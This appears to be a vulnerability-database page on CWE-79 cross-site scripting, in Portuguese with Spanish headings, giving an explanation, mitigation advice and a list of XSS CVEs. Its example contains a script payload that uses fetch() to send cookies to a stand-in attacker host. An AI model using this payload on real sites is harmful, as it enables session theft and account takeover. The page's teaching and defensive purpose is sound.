Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-9590MEDIUMWeaver E-Mobile Mobile Management Platform cross site scriptingEPSS 0.3%CVE-2024-5739MEDIUMThe in-app browser of LINE client for iOS versions below 14.9.0 contains a Universal XSS (UXSS) vulnerability. This vulnerability allows forEPSS 0.3%CVE-2026-40534MEDIUMAn improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Video API in Synology DiskStation MEPSS 0.3%CVE-2012-20003MEDIUMCustom Tables WordPress Plugin < 3.4.6 Reflected XSS via iframe.phpEPSS 0.3%CVE-2026-115982MEDIUMphpIPAM Rack Link Creation show-rack-popup.php create_rack_link cross site scriptingEPSS 0.3%CVE-2025-13584MEDIUMEigenfocus Description cross site scriptingEPSS 0.3%CVE-2026-111877MEDIUMdext34-morgan Books4Cash search.php cross site scriptingEPSS 0.3%CVE-2025-49301MEDIUMWordPress Greenshift plugin <= 11.5.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-56263MEDIUMWordPress GS Shots for Dribbble plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-56241MEDIUMWordPress WPKoi Templates for Elementor plugin <= 3.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-6159MEDIUMcode-projects Simple ChatBox Endpoint insert.php cross site scriptingEPSS 0.3%CVE-2019-25225MEDIUM`sanitize-html` prior to version 2.0.0-beta is vulnerable to Cross-site Scripting (XSS). The `sanitizeHtml()` function in `index.js` does noEPSS 0.3%CVE-2025-49310MEDIUMWordPress Frontend Dashboard plugin <= 2.2.8 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-56258MEDIUMWordPress Magazine Blocks plugin <= 1.3.20 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-30951MEDIUMWordPress BlockStrap Page Builder - Bootstrap Blocks plugin <= 0.1.36 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-48239MEDIUMWordPress Product Notes Tab & Private Admin Notes for WooCommerce plugin <= 3.1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-49305MEDIUMWordPress Product Catalog Simple plugin <= 1.8.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-37344MEDIUMCross-site scripting vulnerability in the Absolute Secure Access administrative console prior to 13.06EPSS 0.3%CVE-2024-35146MEDIUMIBM Maximo Application Suite cross-site scriptingEPSS 0.3%CVE-2025-68864HIGHWordPress Infility Global plugin <= 2.15.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%